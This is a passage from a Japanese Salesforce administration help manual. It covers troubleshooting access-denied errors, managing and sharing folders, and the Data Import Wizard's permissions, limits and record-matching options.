きます。同様に、[階層を使用したアクセス許可]がオフの場合を除き (カスタ
ムオブジェクトのみ)、ユーザには常に、ロール階層でレコード所有者が自分
より下位にあるレコードへの参照アクセス権があります。
a. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を

選択します。
ユーザのロールと、アクセスされるレコードを所有するユーザのロール
を確認します。
たとえば、ユーザは、所有者が関係のないロール階層にいる取引先の削
除やマージは、そのオブジェクトに対する適切な権限を持っていてもで
きません。

2. ユーザが共有ルールでアクセス権を取得していることが考えられる場合は、共有ルールを確認します。
意図せずに共有ルールからユーザが除外されている可能性があります。
a. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
b. その共有ルールでユーザが属する公開グループ (またはロールやキューなど他のカテゴリ) を確認しま

す。

3. 営業チームを確認します。
組織で取引先、商談、またはケースにチームが使用されている場合、チームの設定時にそのユーザを含め
ていなかった可能性があります。チームを確認して、ユーザがチームを介してアクセス権を得るはずであっ
たかどうかを判別します。
a. [設定] から、[クイック検索] ボックスに「取引先チーム」など、確認するチームを入力し、チームを選

択します。
必要に応じてユーザをチームに追加します。

4. 共有の直接設定を確認します。
ユーザに共有の直接設定を介して付与されたアクセス権が、レコード所有者が変わり共有の直接設定が自
動的に削除されたために失われた可能性があります。または、レコード詳細ページの [共有] ボタンを使用
して共有の直接設定が削除された可能性があります。レコード所有者、システム管理者、またはロール階
層で所有者より上の階層に属するユーザのみが、レコード上の共有の直接設定を作成または削除できます。
a. レコード詳細ページで、[共有] をクリックします。
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共有の詳細ページには、レコードへのアクセス権を持つユーザ、グループ、ロール、およびテリトリー
が表示されます。

b. ユーザが共有の直接設定を介してアクセス権を取得する必要がある場合は、[追加]をクリックして共有
の直接設定を作成します。

5. テリトリーを確認します。
組織でテリトリーを使用している場合、ユーザがテリトリーから欠落しているか、ユーザがメンバーとし
て属している正しいテリトリーにレコードが含まれていない可能性があります。または、売上予測マネー
ジャであり、[売上予測マネージャのテリトリー管理]が選択されていて、テリトリー階層で自分の階層より
も下位で作業している必要があります。

関連トピック:

「アクセス権がありません」エラーの解決
ユーザロール階層
共有ルール

プロセスレベルのアクセスエラーの解決

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

入力規則を表示または変
更する
• 「設定・定義を参照す

る」

および

「アプリケーションの
カスタマイズ」

Apex トリガを表示および
定義する
• 「Apex 開発」

「アクセス権がありません」エラーの発生は、入力規則が原因の可能性があり
ます。
通常、「アクセス権がありません」エラーを解決するには、権限セット、プロ
ファイル、または共有設定の不適切な設定が原因でないかどうかを調べます。
不適切な設定がなければ、組織の入力規則を確認します。
1. 入力規則を確認します。

入力規則が原因で、ケースレコードをクローズした後に転送するなどのタス
クをユーザが完了できない場合があります。

2. オブジェクト管理設定から、確認するオブジェクトを見つけ、[入力規則] ま
でスクロールダウンします。

3. エラーを発生させている入力規則がないことを確認します。または、ユーザ
が入力規則を通じてアクセスする必要がある場合は、入力規則を修正しま
す。

関連トピック:

「アクセス権がありません」エラーの解決
入力規則の定義
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フォルダの管理
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

ユーザ権限

公開ドキュメントフォル
ダを作成、編集、または
削除する
• 「公開ドキュメントの

管理」

公開メールテンプレート
フォルダを作成、編集、
および削除する
• 「公開テンプレートの

管理」

公開レポートフォルダを
作成、編集、および削除
する
• 「公開フォルダのレ

ポートを管理」

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「ダッシュボードの管

理」および「すべての
データの参照」

フォルダは、レポート、ダッシュボード、ドキュメント、またはメールテンプ
レートの保管場所です。フォルダは、公開、非表示、または共有にすることが
でき、「参照のみ」か「参照・更新」に設定できます。フォルダの内容へのア
クセス権を持つユーザの制御は、ロール、権限、公開グループ、またはライセ
ンスの種類に基づいて行います。フォルダを組織全体で使用できるようにした
り、非公開にして所有者のみにアクセス権を与えたりすることもできます。
• ドキュメントフォルダにアクセスするには、[ドキュメント] タブをクリック

します。
• メールテンプレートフォルダにアクセスするには、[設定] から [クイック検

索]ボックスに「メールテンプレート」と入力し、[メールテンプレート]を選
択します。

フォルダを作成するには、[新規フォルダの作成] をクリックします。
フォルダを編集するには、フォルダ名の横にある [編集] をクリックします。ま
たは、[フォルダ] ドロップダウンリストからフォルダ名を選択し、[編集] をク
リックします。

メモ: フォルダのアクセス権が「参照・更新」に設定されている場合にの
み、フォルダの内容を変更できます。「公開ドキュメントの管理」または
「公開テンプレートの管理」権限を持つユーザのみが、「参照のみ」フォ
ルダを削除または変更できます。権限やフォルダの設定に関わらず、ユー
ザは、空のフォルダや個人フォルダを編集できません。「公開フォルダの
レポートを管理」権限を持つユーザは、公開フォルダのすべてのレポート
を編集できますが、他のユーザの個人フォルダのレポートは編集できませ
ん。

関連トピック:

フォルダの作成と編集
フォルダの削除
フォルダ内の項目のファイリング
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フォルダの作成と編集

エディション

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

ドキュメントフォルダ制
限を使用可能なエディ
ション: Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

公開ドキュメントフォル
ダを作成、編集、または
削除する
• 「公開ドキュメントの

管理」

公開メールテンプレート
フォルダを作成、編集、
および削除する
• 「公開テンプレートの

管理」

公開レポートフォルダを
作成、編集、および削除
する
• 「公開フォルダのレ

ポートを管理」

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「ダッシュボードの管

理」および「すべての
データの参照」

フォルダをリストしているページで[新規フォルダの作成]または[編集]をクリッ
クします。
1. [フォルダ表示ラベル]を入力します。このラベルは、ユーザインターフェー

スページでフォルダを参照するために使用します。
2. 「アプリケーションのカスタマイズ」権限を持つユーザは、API および管理

パッケージで使用する一意の名前を入力します。
3. [公開フォルダのアクセス権] を選択します。ユーザがフォルダの内容を変更

できるようにするには、[参照・更新] を選択します。参照のみフォルダはユー
ザに表示されますが、その内容を変更することはできません。

4. 未整理レポート、ダッシュボード、またはテンプレートを新しいフォルダに
保存するには、それらを選択してから [追加]をクリックします。ドキュメン
トフォルダの場合は、この手順を省略します。

5. フォルダの利用者オプションを選択します。
• [このフォルダは、ポータルユーザを含むすべてのユーザがアクセス可能で

す]オプションを指定すると、ポータルユーザを含む組織のすべてのユー
ザにフォルダアクセス権限が与えられます。

• [このフォルダは、ポータルユーザを除き、すべてのユーザがアクセス可能で
す]を指定すると、組織のすべてのユーザにフォルダアクセス権限が与え
られますが、ポータルユーザのアクセスは拒否されます。このオプショ
ンは、パートナーポータルまたはカスタマーポータルが有効な組織のレ
ポートおよびダッシュボードフォルダにのみ使用できます。ポータルが
ない場合、このオプションは表示されません。

• [このフォルダはすべてのユーザから非表示となります] では、フォルダは
非公開になります。

• [このフォルダは次のグループに含まれるユーザのみアクセス可能です] で
は、指定したユーザグループのみがフォルダにアクセスできます。
a. [検索] ドロップダウンリストから「公開グループ」、「ロール」、

「ロール & 下位ロール、「ロール、内部下位ロールおよびポータル下
位ロール」(ポータルが有効な場合)、「テリトリー」、または「テリ
トリーおよび下位テリトリー」を選択します。選択肢は、エディショ
ンと、組織にテリトリー管理があるかどうかによって異なります。

メモ: フォルダをグループで共有したときは、グループのマネー
ジャであっても、グループのメンバーでない限りフォルダへのア
クセス権はありません。

b. [共有可能なグループ/ロール]リストに必要な値がすぐに見つからない
場合は、検索基準を入力して [検索] をクリックします。

c. [共有可能なグループ/ロール]で目的の値を選択してから [追加]をクリックすると、[共有先]リスト
にその値が移動します。
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メモ: 拡張フォルダ共有を使用して、レポートフォルダとダッシュボードフォルダに対するよ
り詳細なアクセスレベルをユーザに付与できます。詳細は、「レポートとダッシュボードの拡
張共有の有効化」および「レポートフォルダまたはダッシュボードフォルダの共有」を参照し
てください。

6. [保存] をクリックします。

関連トピック:

フォルダの管理
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フォルダの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

ユーザ権限

公開ドキュメントフォル
ダを作成、編集、または
削除する
• 「公開ドキュメントの

管理」

公開メールテンプレート
フォルダを作成、編集、
および削除する
• 「公開テンプレートの

管理」

公開レポートフォルダを
作成、編集、および削除
する
• 「公開フォルダのレ

ポートを管理」

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「ダッシュボードの管

理」および「すべての
データの参照」

削除できるフォルダは、空のフォルダのみです。作業の開始前に、削除するフォ
ルダからすべてのドキュメントやダッシュボード、テンプレート、レポートを
削除します。
1. フォルダが一覧表示された任意のページから、フォルダ名の横にある [編集]

をクリックします。[レポート] タブで、 、[フォルダ] ペインの [編集]の順
にクリックします。

2. [削除] をクリックするか、 、[削除] の順にクリックします。
3. [OK] をクリックして確認します。

関連トピック:

フォルダの管理
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フォルダ内の項目のファイリング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

ユーザ権限

公開ドキュメントフォル
ダを作成、編集、または
削除する
• 「公開ドキュメントの

管理」

公開メールテンプレート
フォルダを作成、編集、
および削除する
• 「公開テンプレートの

管理」

公開レポートフォルダを
作成、編集、および削除
する
• 「公開フォルダのレ

ポートを管理」

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「ダッシュボードの管

理」および「すべての
データの参照」

ドキュメント、ダッシュボード、レポートまたはメールテンプレートを異なる
フォルダに移動する
1. フォルダに保存される項目を選択します。
2. [プロパティを編集] をクリックします。
3. 別のフォルダを選択します。
4. [保存] をクリックします。
レポートおよびメールテンプレートを格納するレポートフォルダや、メールテ
ンプレートを格納するメールテンプレートフォルダと同様に、ドキュメントフォ
ルダにはドキュメントを格納できます。ドキュメントフォルダに添付を保存す
るには、添付をコンピュータに保存して、ドキュメントライブラリにアップロー
ドします。

メモ:  Web-to-ケース、Web-to-リード、割り当てルール、またはエスカレー
ションルールで使用されるメールテンプレートは、[有効] チェックボック
スがオンになっている必要があります。

関連トピック:

フォルダの管理
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データの Salesforce へのインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用しているエディショ
ンによって、インポート
できるオブジェクトの種
別が異なります。

最大 50,000 レコードを Salesforce にインポートできます。

重要: Salesforceでは、取引先、取引先責任者、およびその他のオブジェクト
の個々のインポートウィザードがデータインポートウィザードに置き換え
られました。個々のインポートウィザードは小さなポップアップウィンド
ウで開きますが、データインポートウィザードはフルブラウザ (URL の末尾
は dataimporter.app) で開きます。[設定] から、[クイック検索] ボックスに
「データインポートウィザード」と入力し、[データインポートウィザード]

を選択します。表示されるオプションは、権限によって異なります。
ACT!、Outlook、カンマ区切り形式 (.csv) でデータ保存できるプログラム (Excel や
GoldMine など) から、データをインポートできます。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データローダの
設定 ([設定] | [設定]) で区切り文字を指定します。

インポートできるレコードの数は、権限およびインポートするデータの種類に依存します。組織全体でのデー
タのディスク使用制限を超えない限り、許可された数のレコードをインポートできます。

インポートできるデータ

詳細必要なユーザ権限リストインポートレコードの件
数制限

レコードタイプ

法人取引先と取引先責任
者にインポートされる情
報は?

取引先に対する「作成」
および
取引先に対する「編集」

データインポートウィザー
ドを使用して一度に50,000

件

自分が所有する法人取引
先と取引先責任者

および
「個人データのインポー
ト」

法人取引先と取引先責任
者にインポートされる情
報は?

取引先に対する「作成」
および
取引先および取引先責任
者に対する「編集」

一度に 50,000 件他のユーザが所有する法
人取引先と取引先責任者

および
「すべてのデータの編集」

個人取引先にインポート
される情報は?

取引先に対する「作成」
および

一度に 50,000 件自分が所有する個人取引
先

取引先に対する「編集」
および
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インポートできるデータ

詳細必要なユーザ権限リストインポートレコードの件
数制限

レコードタイプ

「個人データのインポー
ト」

個人取引先にインポート
される情報は?

取引先に対する「作成」
および

一度に 50,000 件他のユーザが所有する個
人取引先

取引先および取引先責任
者に対する「編集」
および
「すべてのデータの編集」

リードにインポートされ
る情報は?

「リードのインポート」一度に 50,000 件リード

キャンペーンメンバーに
インポートされる情報は?

誰がキャンペーンメンバー
をインポートできますか?

インポートするデータに
応じて異なります。

一度に 50,000 件キャンペーンメンバー

• キャンペーンメンバー
の状況

• 既存の取引先責任者
• 既存のリード
• 既存の個人取引先
• 新規取引先責任者
• 新規リード

カスタムオブジェクトに
インポートされる情報は?

「カスタムオブジェクト
のインポート」
および

一度に 50,000 件カスタムオブジェクト

カスタムオブジェクトに
対する「編集」

ソリューションにインポー
トされる情報は?

「ソリューションのイン
ポート」

一度に 50,000 件ソリューション

これらのレコードはデータインポートウィザードを使用してインポートできませ
ん。

納入商品
ケース
キャンペーン
契約
ドキュメント
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インポートできるデータ

詳細必要なユーザ権限リストインポートレコードの件
数制限

レコードタイプ

商談
商品

項目アクセス許可の詳細と、異なるデータ型の値をインポートする方法についての詳細は、「データインポー
トに関するメモ」 (ページ 736)を参照してください。

メモ: リレーショングループのメンバーはインポートできません。

関連トピック:

データインポートウィザード
データをインポートする方法の選択
インポートの取り消し
レコードをインポートするのに必要な権限は何ですか?

データをインポートする方法の選択
データを Salesforce にインポートするオプションについて説明します。

追加情報Salesforce に
対して内部ま
たは外部

エクス
ポート

イン
ポート

インポートま
たはエクス
ポートできる
レコード数

サポート対象
のエディショ
ン

ツール

組織の取引先、取引先責任
者、リード、ソリューショ

内部いいえはい最大 50,000 個Database.com

Edition を除く
すべてのエ
ディション

データイン
ポートウィ
ザード (統合) ン、キャンペーンメン

バー、およびカスタムオブ
ジェクトをインポートする
インブラウザウィザード。
詳細はこちらを参照してく
ださい。

データローダは、データを
まとめてインポートまたは

外部はいはい5,000 ～ 500 万Enterprise

Edition、
Unlimited

データローダ

エクスポートするアプリ
Edition、 ケーションです。Salesforce
Performance レコードの挿入、更新、削
Edition、およ 除、またはエクスポートに
び Database.com
Edition
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追加情報Salesforce に
対して内部ま
たは外部

エクス
ポート

イン
ポート

インポートま
たはエクス
ポートできる
レコード数

サポート対象
のエディショ
ン

ツール

使用します。詳細はこちら
を参照してください。

関連トピック:

データインポートウィザード
データの Salesforce へのインポート

法人取引先と取引先責任者にインポートされる情報は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

組織のインポートができ
ないエディション:
Personal Edition、
Database.com Edition

取引先責任者および法人取引先のインポートウィザードでは、さまざまな方法
によるレコードの一致を提供して、重複を回避しています。取引先責任者は、
Salesforce ID、名前、メール、または外部 ID を使用して一致させることができま
す。法人取引先は、Salesforce ID、外部 ID、または名前とサイトで一致させること
ができます。Salesforce ID による一致は、取引先責任者と法人取引先の両方が含
まれており、どちらか一方を Salesforce ID で一致させると、もう一方も Salesforce

ID で一致されます。

名前とサイトによる一致
取引先責任者を名前で一致、および法人取引先を名前とサイトで一致を選択し
た場合 (推奨オプション)、インポートウィザードは、インポートファイル内の一
意の法人取引先名とサイト名に対して個別の法人取引先情報を自動的に作成し
ます。また、ファイル内の各取引先責任者名に対しても個別の取引先責任者情
報を作成します。次に、取引先責任者は適切な法人取引先と関連付けられます。
法人取引先または取引先責任者情報がすでにシステム内に存在し、ユーザにレコードの参照・更新権限がある
場合、インポートデータはウィザードにより Salesforce 内の既存のデータに追加されます。

Salesforce ID による一致
Salesforce ID によって、取引先責任者と法人取引先を照合することも選択できます。これを選択した場合は、
Salesforce ID が重複回避の条件となります。つまり、ID で一致させる場合、ソースファイル内のレコードの ID が
Salesforce側のレコードと同じになっていると、そのレコードはSalesforceで更新されます。レコード ID は大文字
と小文字を区別するため、完全に一致している必要があります。

外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
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と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

既存の取引先の値の上書き
ウィザードの [既存の取引先の値を上書きする。]チェックボックスをオンにしない限り、ウィザードが既存の
法人取引先項目を上書きすることはありません。このチェックボックスをオンにすると、新規データを既存の
法人取引先項目に挿入したり、項目を更新したりできます。ただし、このチェックボックスを使用しても、空
白値のある既存の項目データを更新することはできません。チェックボックスをオンにしないと、ウィザード
は空の法人取引先項目を更新しますが、既存データのある項目は一切変更しません。
ユーザが既存の法人取引先または取引先責任者情報に対する参照・更新権限を持っていない場合、そのユーザ
を所有者とした法人取引先または取引先責任者情報が、ウィザードにより新規作成されます。さらに、ウィ
ザードはインポートファイルに指定された項目に基づいて、法人取引先および取引先責任者も新規作成しま
す。
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、法
人取引先と取引先責任者の新規メモも、インポートウィザードでインポートできます。ウィザードは、既存の
取引先責任者または法人取引先メモと完全に重複するメモはインポートしません。

関連トピック:

データインポートウィザード
データをインポートする方法の選択
データの Salesforce へのインポート
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個人取引先にインポートされる情報は?

エディション

データインポートウィ
ザードを使用可能なエ
ディション: Salesforce
Classic と Lightning
Experience の両方

データインポートウィ
ザードを使用可能なエ
ディション: Database.com
を除くすべてのエディ
ション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

データインポートウィザードは、レコードを [取引先名]、Salesforce ID、
[メール]、外部 ID のいずれかの項目に従って一致させることにより、重複する
個人取引先の作成を回避します。インポートファイルには、レコードの一致に
使用する項目の列を含める必要があります。

メモ: システム管理者が、「個人取引先」を別の用語に名称変更した可能
性があります。その場合、データインポートウィザードは、新しい名前を
参照します。

名前による一致
このオプションを選択すると、データインポートウィザードは同じ名前を持つ
Salesforce 内の既存のレコードを検出します。この種類の一致処理では、大文字
と小文字は区別されません。たとえば、大文字で始まる名前は、小文字で始ま
る同じ名前と一致します。必要に応じて、インポートの実行前にレコード名を
スキャンおよび標準化して、意図しない一致を回避します。

Salesforce ID による一致
Salesforce ID とは、システムによって生成される、大文字と小文字を区別する 15

から 18 の文字と数字を組み合わせた文字列です。この ID は、各 Salesforceレコー
ドを一意に識別します。このオプションを選択すると、データインポートウィ
ザードは同じ Salesforce ID のある Salesforce 内の既存のレコードを検出します。
Salesforce ID は、レコードの ID 項目のあるレポートを実行することにより取得で
きます。

メールによる一致
このオプションを使用することにより、インポートファイルのレコードを、[メール] 項目の正確な値に従っ
て、Salesforce の既存レコードと一致させます。

外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

731

データをインポートする方法の選択Salesforce 組織の設定および管理



一致するレコードの無視または更新
データインポートウィザードにより、選択した項目に従って一致するSalesforce内の既存のレコードが検出され
た場合、次のアクションのいずれかを選択できます。
• 新規レコードを追加 — ファイル内のレコードが新規で既存のレコードと一致しない場合、新規レコードを

Salesforce に挿入します。既存のレコードと一致するファイル内のレコードは無視され、既存のレコードは
一切変更されません。

• 既存のレコードを更新 — ファイル内のレコードが既存のレコードと一致する場合、既存のレコードを更新
します。既存のレコードと一致しないファイル内のレコードは無視され、新規レコードとして挿入されま
せん。

• 新規レコードを追加および既存のレコードを更新 — ファイル内のレコードが新規で既存のレコードと一致
しない場合、新規レコードを Salesforce に挿入します。ファイル内のレコードが既存のレコードと一致する
場合、既存のレコードを更新します。

リードにインポートされる情報は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目がページレイアウトまたはリードの項目レベルセキュリティ設定で非表示
または参照のみになっている場合も、標準のリード項目およびカスタムリード
項目にデータをインポートできます。

一致させる種別によるリードのインポート
インポートファイルにあるリードを Salesforce にある既存のリードと一致させる
かどうかを選択できます。リードは、Salesforce ID、名前、メール、または外部 ID

の種別に従って一致させることができます。一致させる種別を選択することに
より、重複するリードの回避基準を設定します。たとえば、メールで一致させ
る場合、ソースファイルのリードに Salesforce のリードと同じメールがあると、
そのリードはSalesforceで更新されます。メールで一致させない場合、ソースファ
イルのリードに Salesforce のリードと同じメールがあっても、リードが作成され
ます。

一致させる種別によらないリードのインポート
データインポートウィザードで一致させる種別に [なし] を選択すると、インポートファイルにあるリードごと
に、データインポートウィザードで、Salesforceにリードが作成されます。インポート後にリードをマージでき
ます。

名前による一致
このオプションを選択すると、データインポートウィザードは同じ名前を持つSalesforce内の既存のレコードを
検出します。この種類の一致処理では、大文字と小文字は区別されません。たとえば、大文字で始まる名前
は、小文字で始まる同じ名前と一致します。必要に応じて、インポートの実行前にレコード名をスキャンおよ
び標準化して、意図しない一致を回避します。
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メールによる一致
このオプションを使用することにより、インポートファイルのレコードを、[メール] 項目の正確な値に従っ
て、Salesforce の既存レコードと一致させます。

Salesforce ID による一致
Salesforce ID とは、システムによって生成される、大文字と小文字を区別する 15 から 18 の文字と数字を組み合
わせた文字列です。この ID は、各Salesforceレコードを一意に識別します。このオプションを選択すると、デー
タインポートウィザードは同じ Salesforce ID のある Salesforce内の既存のレコードを検出します。Salesforce ID は、
レコードの ID 項目のあるレポートを実行することにより取得できます。

外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

関連トピック:

データインポートウィザード
データをインポートする方法の選択

キャンペーンメンバーにインポートされる情報は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

データインポートウィザードを使用して、キャンペーンメンバーの状況を更新
できます。
キャンペーンメンバーをインポートすることもできます。データインポートウィ
ザードでは、インポートファイル内の各取引先責任者、リード、または個人取
引先に対して次の操作を実行できます。
• レコードをインポートする
• レコードを特定のキャンペーンに関連付け、取引先責任者、リード、または

個人取引先をキャンペーンメンバーにする
• キャンペーンメンバーのメンバーの状況の値を挿入する
重複レコードがあるファイルをインポートすると、データインポートウィザー
ドではそれらのレコードはマージされません。インポートしたレコードが既存
のレコードと一致する場合、データインポートウィザードでは重複データは 1

つのレコードにマージされません。
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外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

関連トピック:

キャンペーンメンバーのインポート
データインポートウィザード

カスタムオブジェクトにインポートされる情報は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムオブジェクトの
インポートを使用可能な
エディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

データインポートウィ
ザードを使用してカスタ
ムオブジェクトデータを
インポートする
• 「カスタムオブジェク

トのインポート」

および

カスタムオブジェクト
に対する「編集」

データインポートウィザードでは、カスタムオブジェクト名、Salesforce ID、外部
ID のいずれかの項目に従ってレコードを一致させることにより、重複するレコー
ドの作成が回避されます。インポートファイルには、レコードの一致に使用す
る項目の列を含める必要があります。

名前による一致
このオプションを選択すると、データインポートウィザードは同じ名前を持つ
Salesforce 内の既存のレコードを検出します。この種類の一致処理では、大文字
と小文字は区別されません。たとえば、大文字で始まる名前は、小文字で始ま
る同じ名前と一致します。必要に応じて、インポートの実行前にレコード名を
スキャンおよび標準化して、意図しない一致を回避します。

Salesforce ID による一致
Salesforce ID とは、システムによって生成される、大文字と小文字を区別する 15

から 18 の文字と数字を組み合わせた文字列です。この ID は、各 Salesforceレコー
ドを一意に識別します。このオプションを選択すると、データインポートウィ
ザードは同じ Salesforce ID のある Salesforce 内の既存のレコードを検出します。
Salesforce ID は、レコードの ID 項目のあるレポートを実行することにより取得で
きます。

外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID には Salesforce

以外のシステムの一意のレコード識別子が含まれています。このオプションを
選択すると、データインポートウィザードは、インポートファイル内の外部 ID

と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作
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では、大文字と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に
大文字と小文字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

メモ: データインポートウィザードを使用して、主従関係が 2 つあるカスタムオブジェクトをインポート
することはできません。

関連トピック:

データインポートウィザード
データをインポートする方法の選択

ソリューションにインポートされる情報は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソリューションをイン
ポートする
• 「ソリューションのイ

ンポート」

データインポートウィザードでは、ソリューション名、Salesforce ID、外部 ID の
いずれかの項目に従ってレコードを一致させることにより、重複するレコード
の作成が回避されます。インポートファイルには、レコードの一致に使用する
項目の列を含める必要があります。

ソリューション名による一致
このオプションを選択すると、インポートウィザードは同じ名前を持つSalesforce

内の既存のソリューションを検出します。この種類の一致処理では、大文字と
小文字は区別されません。たとえば、大文字で始まるソリューション名は、小
文字で始まる同じソリューション名と一致します。必要に応じて、インポート
の実行前にソリューション名をスキャンおよび標準化して、意図しない一致を
回避します。

Salesforce ID による一致
Salesforce ID とは、システムによって生成される、大文字と小文字を区別する 15

から 18 の文字と数字を組み合わせた文字列です。この ID は、各 Salesforceレコー
ドを一意に識別します。このオプションを選択すると、データインポートウィ
ザードは同じ Salesforce ID のある Salesforce 内の既存のレコードを検出します。
Salesforce ID は、レコードの ID 項目のあるレポートを実行することにより取得できます。

外部 ID による一致
外部 ID は、外部 ID 属性を持つカスタム項目です。つまり、外部 ID にはSalesforce以外のシステムの一意のレコー
ド識別子が含まれています。このオプションを選択すると、データインポートウィザードは、インポートファ
イル内の外部 ID と一致する外部 ID を持つ Salesforce 内の既存のレコードを検出します。この操作では、大文字
と小文字は区別されません。たとえば、「ABC」は「abc」と一致します。ただし、外部 ID 項目に大文字と小文
字が区別される一意属性もある場合は、大文字と小文字は同一とはみなされません。
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インポートの実行前に外部 ID の値をスキャンおよび標準化して、意図しない一致を回避します。
データインポートウィザードが重複レコードを検出した場合、最初の 3 つの重複レコードのみが確認メールで
通知されます。

関連トピック:

データインポートウィザード
データをインポートする方法の選択

データインポートに関するメモ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用しているエディショ
ンによって、インポート
できるオブジェクトの種
別が異なります。

• 項目アクセス許可 — 参照および編集アクセス権がある場合にのみ、項目に
値をインポートできます。項目のアクセス権は、ユーザ権限、ページレイア
ウトの割り当て、および項目レベルセキュリティ設定によって決まります。
項目レベルセキュリティは、Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition で使用できます。
• 選択リストと複数選択リストの新しい値 — 既存の選択リスト値と一致しな

い選択リストをインポートする場合、次のように動作します。
– 非制限選択リストでは、データインポートウィザードでインポートファ

イル内にある値が使用されます。
– 制限付き選択リストでは、データインポートウィザードで選択リストの

デフォルト値が使用されます。
• 複数選択リスト — 複数選択リストに複数の値をインポートするには、インポートファイルにある値をセミ

コロンで区切ります。
一度に 100 件の値を複数選択リスト項目にインポートできます。インポートファイル内の 1 つのレコードに
対して、100 件を超える値がある場合、インポートウィザードはそのレコードの項目を空白のままにしま
す。

• チェックボックス — チェックボックス項目にデータをインポートするには、チェックありの場合は 1、
